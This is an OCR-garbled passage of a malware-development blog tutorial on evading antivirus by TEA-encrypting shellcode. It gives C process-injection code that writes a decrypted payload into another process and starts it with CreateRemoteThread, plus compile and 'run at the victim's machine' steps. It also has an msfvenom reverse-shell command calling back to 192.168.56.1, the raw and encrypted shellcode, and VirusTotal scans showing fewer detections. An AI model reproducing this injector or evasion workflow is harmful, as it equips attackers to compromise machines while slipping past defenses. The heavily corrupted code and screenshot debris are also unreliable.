*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

#define KEY_SIZE 16
#define ROUNDS 32

void tea_decrypt(unsigned char *data, unsigned char *key) {
unsigned int i;
unsigned char x = 0;

unsigned int delta = 0x9e3779b9;
unsigned int sum = delta * ROUNDS;

unsigned int vO *(unsigned int *)data;
unsigned int v1 = *(unsigned int *)(data + 4);

for (1 = 0; i < ROUNDS; i++) {

vl -= (((v0 << 4) A (vO@ >> 5)) + vO) N (sum + ((unsigned int *)key)[(sum >> 11) &

31);

sum -= delta;

vl -= (((vl << 4) N (vl >> 5)) + v1l) A (sum + ((unsigned int *)key)[sum & 3]);

}

*(unsigned int *)data = vO;
*(unsigned int *)(data + 4) = vi;

}

unsigned char key[] =
"\x6d\x65\X6F\x77\x6d\Xx65\X6T\X77\x6d\Xx65\X6F\x77\x6d\x65\x6F\x77";
unsigned char my_payload[] =
"\x6a\xf5\x79\xa8\x12\xca\x83\xce\xdc\x69\xa4\x59\x68\x54\xb8\xc7"
"\xd2\x63\x35\xc2\xcb\xe1\x24\xbb\xd5\x43\x36\x98\x37\x13\x91\xe0"
"\xc6\xel\x01\x7a\x2a\xe1\xd8\x51\xfc\x73\x4F\x74\x1d\x33\x84\x5d"
"\xdd\x30\x13\xda\xd9\x86\xf4\x44\x84\x40\x40\xea\xc9\x10\x79\xb2"
"\XC1\Xx4b\x4b\x3f\XxF3\x34\x20\x25\x75\x09\x64\x46\x91\xff\xa3\xea"
"\x49\x53\xaf\x87\x7b\x9b\xaa\x20\xfd\x42\x5e\xf7\xf4\xc8\x3d\x52"
"\xde\x19\x90\x67\x71\xb7\xa1l\xbf\x17\xb1\xa8\xd0\x00\x31\x8d\x57"
"\Xx74\xchb\xfI\x8F\x02\xe8\x6d\x1b\x4d\xaf\x60\x3d\x3a\x01\x33\x87"
"\XFO\Xxc2\xT4\x93\xec\xdd\x89\x89\x80\x36\xc1\x2a\x73\xc7\x67\x04"
"\x7a\x82\x25\x62\xT1\xe1\x98\x01\x8a\x56\x4b\x87\x85\x89\xdO\xf4"
"\x00\x2a\xcd\xf6\xbf\x59\xeb\x0a\x7b\x86\xe6\xc8\x81\xfa\x2c\x5f"
"\x91\x2a\x13\x11\x31\xc4\xe0\x34\x6F\x20\xa0\x07\x65\x01\x82\x5b"
"\Xx88\Xx05\x2d\x19\x16\x48\x64\xc9\x21\x26 \xda\xfO\xcI\xFf\x10\x13"
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"\x6d\x70\x66\xa4\x42\x1e\x4c\x4c\xd1\xc3\xel\x2e\xd2\xc7\xac\x85"
"\xc8\xfc\x75\xaa\xFf\x9f\xch\x1c\x79\x8d\x8f\xd3\x2d\x8b\x4d\x9d"
"\Xx59\x60\xT2\xTF9\x0b\x32\xa8\x94\xb4\x1e\x2b\x9c\xcd\x31\x97\x94"
"\X67\X17\XFd\xd9\xcf\x38\xb0\x82\x27\x34\x72\x4f\xa6\x4b\x6b\x96"
"\x54\x66\x00\xcT\x1e\x49\x1c\x5e\x60\xea\xfa\x26\x60\x97\xe7\xf9"
"\x8b\x5d\x1a\x60\x11\x12\xf7\xde\xea\x9a\x15\xc1\x25\x90\x66\xe6"
"\xc3\x6e\xbc\xd7\x30\x85\x28\xel1\xa6\x08\xac\x1d\x3d\x13\x3f\x7a";

unsigned int my_payload_len = sizeof(my_payload) - 1;

int main(int argc, char* argv[]) {
HANDLE ph; // process handle
HANDLE rt; // remote thread
PVOID rb; // remote buffer

// tea_decrypt(my_payload, key);

for (int i = 0; i < my_payload_len; i += 8) {
tea_decrypt(&my_payload[i], key);

}

printf("decrypted:\n");

for (int 1 = 0; i < my_payload_len; i++) {
printf("\\x%02x", my_payload[i]);

}

printf("\n\n");

// parse process ID
printf("PID: %i", atoi(argv([1]));
ph = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DwORD)atoi(argv[1]));

// allocate memory buffer for remote process

rb = VirtualAllocEx(ph, NULL, my_payload_len, (MEM_RESERVE | MEM_COMMIT),

PAGE_EXECUTE_READWRITE);

// "copy" data between processes
WriteProcessMemory(ph, rb, my_payload, my_payload_len, NULL);

// our process start new thread

rt = CreateRemoteThread(ph, NULL, ©, (LPTHREAD_START_ROUTINE)rb, NULL, O,

CloseHandle(ph);
return 0;

| just add printing decrypted payload for demo.

demo 2

NULL);

Compile:

x86_64-w64-mingw32-gcc -02 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-

constants -static-libstdc++ -static-libgcc
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total 140

~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]

hack3.c

hack3.exe

‘r[—/hacking/cybersec_blog/ZGZB-02-Ze-malware-av-evasion-lZj

-FWXr-Xr-x cocomelonc cocomelonc 40960 Feb 22 00:45 hack3.ex
cocomelonc cocomelonc 3303 Feb 22 00:45 hack3.c
cocomelonc cocomelonc 1140 Feb 0 6 entropy.
cocomelonc cocomelonc 40960 Feb hack2.ex

cocomelonc cocomelonc 2294 Feb [}

cocomelonc cocomelonc 3904 Feb 0 hack.c
-rwxr-xr-x 1 cocomelonc cocomelonc 40960 Feb 2
0

-rw-r--r-- cocomelonc cocomelonc 2542 Feb

hack2.c

hack.exe
tea.py

And run at the victim’s machine:

.\hack3.exe <PID>

void tea_decrypt(unsigned char

unsigned-int
unsigned cha

unsigned int
unsigned-int

unsigned-int
unsigned - int

(1=10;
vl -= (((v
sum -= del
Vo -= (((v

}

*(unsigned i
*(unsigned i

unsigned char
unsigned char
"

1;
rx

delta
sum =

vO- = *(unsigned
vl *(unsigned

i < ROUNDS; i++)
0 << 4) ™ (vO >>
ta;

l << 4) " (vl>>

nt-*)data = 'v0;
nt-*)(data + 4)

key[] ="
my payload[] =

*data, unsigned cha

int *)data;
int *)(data + 4);

5)) + v1l) ~ (sum +

vl;

e

Py
e

g

i
File Machine
2

File Options

d2=EE0R

win10-malw (IDA pro 7.7) [Running] - Oracle VM Virtual Box

Input  Dev

Help
B[ ]l | ||| [Frsgmore:

Process
¥ VBaxTray exe
@ OneDiive exe
= E¥powershellexe
8 conhost exe:
< mepairt exe.
procampbdere

CPU  Private Bytes
<001 2712K
15944 K
<001 57.220K
479K
7632K
22634 K

Working Set
8484K
17640 K
21.340K
10.712K
26984K
£3072K

PID Description Company Name
5800 VitualBox Guest Additions Tr.. Oracle Corporation
5856 Microsot OneDiive Microsoft Corporation
6328 Windows PowerShell Microsoft Corporation
6540 Console Window Host Microsoft Corporation
7704 Pait Microsoft Corporation
1768 Sysiniemals Process Explorer  Sysintemals -ww sysiter.
e Comantion
Comoration

Meow-meow!
Corporation

Comoration
Imoration
Jmoration

17/24



<windows.h>
i
void tea decrypt(unsigned char

unsigned-int i;
unsigned char x

unsigned int delta 9e377
unsigned int sum = delta R

unsigned int v@ unsigned
unsigned -int v1 = *(unsigned

0; 1 < ROUNDS; i++)
vl -= (((v0 << 4) ~ (vO >>
sum -=-delta;
vl -= (((vl << 4) "~ (vl >>

*(unsigned int *)data = v@;
*(unsigned int *) (data + 4)

}

unsigned char key[] =
unsigned char my_payload[] =

L

*data, ‘unsigned char g,

Home

.

OUNDS ;

s Quick acce
I Desktop
¥ Download

[Z) Document

int *)data;
int *)(data + 4);

&=/ Pictures.
A\VBOXSV]

~ B

5)) + v0) (sum + ( program

samples

5)) + vl) "~ (sum + (

Tools
@ OneDrive
[ ThisPC
=vl; & Network
5 items 1item

View Input

Hacker View

2 Refresh 3

Processes  Servig

Name
[ svchost.ey
[ taskhostw
[ ctfmon.ex
¥ r exploreng
P securit
W VBoxTy
@ OneDr
VX powet]
= con

& Searchind
[ suchost.

v [ svchost.
[5 Winda
[5 Windo)

win10-malw (IDA pro 7.7) [Running] - Oracle VM VirtualBox

Devices Help

General  Statistics

Memory
ide free reg

Base address
0x2c96000(
0x7fe0000
0x7ffe2000
Oxcafb4s0l
Oxcafb4dod
Oxcafbss00
Oxcafbs00]
Oxcafb380g
0x21b6c36(
0x21b6c37]
0x21b6c38(
Ox21b6cdal
0x21b6cgb
ox21b6cgat
ox21b6cgd(
ox21bécaa
0x21b6cab
ox21b6cact
ox21bécad(
Ox21bécae(
ox21bécaf
0x21b6ch

Performance

Threads

Token  Modues

) 6 resuts.

Address
Ox21b6e7F0127
Ox21b6e=80127
Ox2ib6eefdess
Ox21b6ef04060

Result

Ox21b6efd:

Ox21bsefsg

Meow-meow!

ow-meaw!

Ok, note that the entropy has not changed much:

python3 entropy.py -f ./hack3.exe

trl+K)

ows Ser.

ows Tas...

fication...
ions Tra...

frch In...
ows Ser.
ce Host

Dws Ser.

P

O )i T & B 5 T @0 Right Ctrl
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( ) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]
python3 entropy.py ./hack?.exe

virtual address: 0x1000
virtual size: Ox6cf8

raw size: 0x6e00

entropy: 6.248176278867677

virtual address: 0x8000
virtual size: 0x250

raw size: 0x400

entropy: 3.0562706995838056

virtual address: 0x9000
virtual size: 0Oxda®

raw size: 0Oxe00

entropy: 4.914736017078639

— ) - [~/hacking/cybersec_blog/2023-02-20-malware-av-evasion-12]
—$ python3 entropy.py ./hack3.exe
.text

virtual address: 0x1000
virtual size: 0Ox6de8

raw size: 0Ox6e00

entropy: 6.2847227591290515

virtual address: 0x8000
virtual size: 0x290

raw size: 0x400

entropy: 3.7346434032986076

virtual address: 0x9000
virtual size: 0xda0®

raw size: 0xe00

entropy: 4.946167705138829

Then, upload it to VirusTotal:

2 b3834707cfa3c] 878cec5dSab1c2427a63c9ebbaedd4cd1163749b71dd753b62 888 B3 cocomelonkz@gmail.com Q

70
b3834707cfa3c1878cec5d5ab1c2427263cOebbaedd4cd1163749b71dd753b62 40.00KB 2023-02-21 22:00:59 UTC
size amoment ago

X Community Soore /.

DETECTION DETAILS BEHAVIOR () COMMUNITY

Jin the VT Community and enjoy additional community insights and erowdsourced detections

Acronis (Static ML) T AhnLabV3

AlYac T F Arcabit

Emsisoft
ESEFNOD32
Google
Kaspersky
Symantec
Trellix (FireEye) T VIPRE

ZoneAlarm by Check Point D) VHOE: Alibaba




Trellix (Fi

ZoneAlarr

Antiy-AVL

AVG

Baidu

Bkav Pro

CcMC

Cyren

F-Secure

Gridinsoft (no cloud)

Lionic

MaxSecure

https://www.virustotal.com/qui/file/b3834707cfa3c1878cec5d5ab1c2427a63c9ebbaed4d4cd 11

VIPRE

Alibaba

Avast

Avira (no cloud)

BitDefenderTheta

ClamAv

Fortinet

Jiangmin

K7GW

Malwarebytes

McAfee

Microsoft

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

63749b71dd753b62/details

As you can see, 21 of of 70 AV engines detect our file as malicious.

practical example 3

Let’s go to create reverse shell payload:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f c
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https://www.virustotal.com/gui/file/b3834707cfa3c1878cec5d5ab1c2427a63c9ebbae4d4cd1163749b71dd753b62/details

ms o)) w1ndows/x64/she11 reverse tcp LHOST=192.168.56.1 LPORT 4444 C
[-]1 No platform was selected, choosing Msf::Module::Platform::Windows from the pa
[-]1 No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of c¢ file: 1957 hytes
unsigned char buf[] =
"\XTc\x48\x83\xed\xfO\xe8\xcO\x00\x00\x00\x41\x51\x41\x50\x52"
"\ x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\ x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\ x48\x31\xcO\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x0I1\xcl\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\X01\xdO\x8b\x80\x88\x00\x00\x00\x48\x85\xcO\x74\x67\x48\x01"
"\ xdO\x50\x8b\x48\x18\x44\x8b\ x40\ x20\x49\x01\xdO\xe3\x56\x48"
"\XFf\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xcO"
"\ xac\x41\xcI\xcN\x0d\x41\x01\xc1\x38\xeO\x75\xf1\x4c\x03\x4c"
"\ X24\x08\x45\x39\ xd1\x75\xd8\x58\ x44\ x8b\ x40\ x24\ x49\ x01\ xd0O"
"\ x66\x41\x8b\x0c\x48\x44\x8b\ x40\ x1c\x49\x01\xdO\x41\x8b\x04"
"\ x88\x48\x01\xdO\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xeN\X57\x f FAXTF\XxTFAx5d\x49\xbe\x77\x73\x32\x5f\x33"
"\ X32\x00\x00\x41\x56\x49\x89\ xe6\x48\x81\xec\xad\x01\x00\x00"
"\x49\x89\xe5\x49\ xbc\x02\x00\x11\x5c\xcO\xa8\x38\x01\x41\x54"
"\ x49\x89\ xed\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xf f\xd5\x4c"
"\ x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\ Xd5\ x50\ x50\ x4d\ x31\xc9\x4d\x31\ xcO\x48\xFf\xcO\x48\x89\xc2"
"\ x48\xTT\xcO\x48\x89\xc1\x41\xba\xea\x0f\xdf\xeO\xTf\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99"
"\ xab\x74\x6 I\ xf fAxd5\x48\x81\xc4\ x40\ x02\x00\x00\x49\ xb8\x63"
"\ x6d\x64\x00\x00\x00\x00\x00\x41\ x50\ x41\ x50\ x48\x89\ xe2\x57"
"\X57\x57\x4d\x31\xcO\x6a\x0d\x59\ x41\ x50\ xe2\xfc\x66\xc7\x44"
"\ x24\x54\x01\x01\ x48\x8d\x44\x24\x18\xcb6\x00\x68\x48\x89\xeb6"
"\x56\ x50\ x4 1\ x50\ x41\ x50\ x4 1\ x50\ x40\ x F f\xcO\x41\ x50\ x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\ X48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\ x60\xff"
"\ xd5\xbb\xTO\xh5\xa2\x56\x41\xba\xab6\x95\xbd\x9d\ xf f\xd5\x48"
"\ x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xeO\x75\x05\xbb\x47\x13"
"A\XT72\x6T\x6a\x00\x59\x41\x89\ xda\xff\xd5";

Then, in the previous example, | simply replace the payload with a TEA-encrypted reverse
shell:
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unsigned char key[] =

"\X6d\X65\X6TF\X77\X6d\X65\X6T\X77\x6d\Xx65\X6T\X77\x6d\x65\x6F\x77";

unsigned char my_payload[] =

"\xce\xfb\x86\x47\x3f\x90\x06\xe8\x28\x1e\x88\x4f\x3f\xel"
"\x9b\xf8\x91\x37\x57\xad\xd3\x6e\xfa\xb2\x63\x8f\xf7\x05"
"\xe1\x08\xal\x3a\x23\x0f\x46\x03\x15\xa9\x5d\x20\x15\x35"
"\Xx62\x49\x7TF\x78\xel1\xae\xd0\xe5\x13\x7b\x35\x4d\x99\x63"
"\xed\xb1\x46\xfb\xe9\x97\xb3\x47\x07\x79\x88\xc9\xb9\xdc"
"\xda\x3e\x79\x55\xal1\x23\x22\x68\x62\x70\xb6\xab\xbb\x15"
"\Xx83\x07\xch\xc6\xbc\x47\x9d\xe8\xec\x53\x5e\x00\x24\xd6"
"\Xx90\x81\x90\xbf\xal1\x35\x96\x0b\x24\x42\x33\x57\xf6\xe0"
"\XOFAXFFAX9F\x99\xdc\x80\x5F\x0e\xdd\x28\x76\x1b\xb2\x80"
"\xeb\x37\x2b\x0d\x02\x22\x6TF\x99\x7a\x5d\x1e\x85\x7e\x37"
"\Xx01\xda\x97\x80\xc6\xc1\x31\x78\xd8\x5c\x97\xc4\xbf\x99"
"\x82\x8c\xb5\x89\x65\xc6\xdf\x15\xec\x31\x17\xc3\x23\x9c"
"\xb6\x81\Xx61\x94\x49\x93\x95\x5c\x0c\x99\xee\x9e\x5f\x9d"
"\Xx22\x54\x60\x0b\x9e\x10\x9f\xe4\x67\x32\x58\x01\x36\xbf"
"\x48\x42\x5f\x0a\xa6\xf7\xb5\x3e\xd4\x12\x7b\xd6\x33\x52"
"\Xx11\x04\xe2\x55\xe6\x6f\x12\x85\xf9\xae\x16\x8a\xa8\xc5"
"\x7e\x2F\x92\x4d\x5f\x21\xf4\xdc\x40\xa2\x0f\x78\x1b\xf4"
"\xbe\x8f\xal1\x26\xb4\x53\x28\xd6\xc8\x65\x35\x1f\xc1\x88"
"\x1F\x5b\xa0\x74\xdc\x62\x22\x59\xc9\xaf\x08\xc3\x58\x0f"
"\x8a\xcT\x36\x96\xc1\x4e\x9b\x79\xe8\xd7\x56\x3c\x89\x5e"
"\xbc\x23\x59\x44\x2b\x5e\x5f\x5a\xe0\xce\x04\xf1\xd9\x32"
"\x20\x09\xd5\xe4\xeb6\xd7\xde\x4e\x83\x50\x31\xf6\xc3\x9b"
"\xfa\xf8\x4f\x78\x19\x29\xa9\x86\xd2\xd2\x94\x91\xdd\xal1"
"\X7¢c\x00\x4a\x40\x7c\x18\x60\xf6\x85\x8d\x83\x56\x7a\xd5"
"\x26\x3F\xbf\x98\xeb\xc1\xdc\xc1\x75\xb8\x8c\xde\x97\xfc"
"\x46\x22\xd1\x6b\xab\xe7\x5c\x31\x43\x41\x25\xa0\xa5\x74"
"\x7e\xdb\x80\x40\xbc\x1e\x88\x54\xae\xb3\x7f\x12\x5b\x2d"
"\xad\x9d\x1e\x48\xb7\xfa\xda\x35\xfc\x93\xfa\x47\x91\xac"
"\x80\x8b\x2d\x06\x7e\x33\x67\x19\xd6\x0c\x2e\x40\xcO\xco"
"\x44\xa9\x89\x29\x74\xeb\x5d\xdf\xd2\x68\x24\x92\xfb\x3d"
"\xb4\x3a\x7c\x2b\x1d\xf1\xf8\xb7\xeb\xca\xad\xe0\x8c\xca"
"\Xx7d\xe9\x1b\x5a\x56\x1f\xce\xa9\x7c\x52\x83\x7f\x28\xbb"

"\x46\x7e\x31\xbf\x39\xc4\xd4\x3e\x2c\x1c\xa5\x7e\xbb\x85\x65\x55" ;

Compile and upload this sample to VirusTotal:
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9e823c75ed 7cabafffc78d2dd1 cocomelonkz@gmail.com 5,

4000 KB 2023.0221 2228:33 UTC
hackd.exe z 2 BETE
peexe 6bits  assembly

X Community Soore /'

DETECTION DETAILS BEHAVIOR ) COMMUNITY

the VT Community and enjoy additional community insights and crowdsourced detections.

Crowdsourced YARA rules ()

Matches rule Cobalts 6 2.5 thiough_v4 x by gssincla@google.com from ruleset

Cobaltstrike_Resources_Reverse64_Bin_v2_5_through_v4_x at https://github. comy/chronicle/GCTI

Meatches rule Windows_Trojan_Met 8 by Elastic Security from ruleset Windows_Trojan_Metasploit at hitps:/github.com/elastic
Iprotections-artifacts

Matches rule Windows_Trojan_Mef
/protections-artifacts

Matches rule Windows _Trojan_Mef
/protections-artifacts

Security vendors' analysis © Do you want to automate checks?
AlYac Arcabit

Avast Ve

Avira (no cloud) BitDefender

Clamav Cybereason

Cynet Elastic

Emsisoft escan

https://www.virustotal.com/qgui/file/9e823c75fe4f0a7a58ea3ec86e477c4b4fffc78d2dd1583ece
44f6afa244a53f/details

Wow, 24 of of 70 AV engines detect our file as malicious.

If we compare it with not encrypted reverse shell:

Naddich

Z 88 cocomelonke@gmailcom 29,

1ads 3950 KB 2023-02-21 22:46:49 UTC

ent ago

evil2.exe
peere  64bits  assembly

X Community Soore /.

DETECTION DETAILS BEHAVIOR () COMMUNITY

Join the VT Community and enjoy additional community insights and crowdsourced detections

Crowdsourced YARA rules ©

Matches rule Coba s gh_v4_x by gssincla@google.com from ruleset

CobaltStrike_Resources_Reverse64_Bin_v2_5_through_v4 x at https://github.com/chronicle/GCTI

Matches rule Windows_Trojan_Met 6 by Elastic Security from ruleset Windows_Trojan_Metasplot at https://github.com/elastic
fprotections-artifacts
Matches rule Windows_Trojan_Metasplo

fprotections-artifacts

Matches rule Windows_Trojan_Mef

N
fprotections-artifacts

Security vendors' analysis © Do you want to automate checks?

Acronis (static ML) Atvac
Antiy-AVL Arcabit

Avast AvG

Avira (no cloud) BitDefender
Clamav Crowdstrike Falcon

Cybereason Cylance

https://www.virustotal.com/qgui/file/1a457a3a509ba1a4dfcb700adcc20492b9f3f05e09fc9e93a
3aafdaca88b19f8/details



https://www.virustotal.com/gui/file/9e823c75fe4f0a7a58ea3ec86e477c4b4fffc78d2dd1583ece44f6afa244a53f/details
https://www.virustotal.com/gui/file/1a457a3a509ba1a4dfcb700adcc20492b9f3f05e09fc9e93a3aafdaca88b19f8/details

So, we have reduced the number of AV engines which detect our malware from 31 to
24

As you can see, this algorithm encrypts the payload quite well, but it is detected by many AV
engines and is poorly suited for bypassing them.

| hope this post spreads awareness to the blue teamers of this interesting encrypting
technique, and adds a weapon to the red teamers arsenal.

MITRE ATT&CK: T1027
AV evasion: part 1

AV evasion: part 2
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://attack.mitre.org/techniques/T1027/
https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html
https://github.com/cocomelonc/meow/tree/master/2023-02-20-malware-av-evasion-12

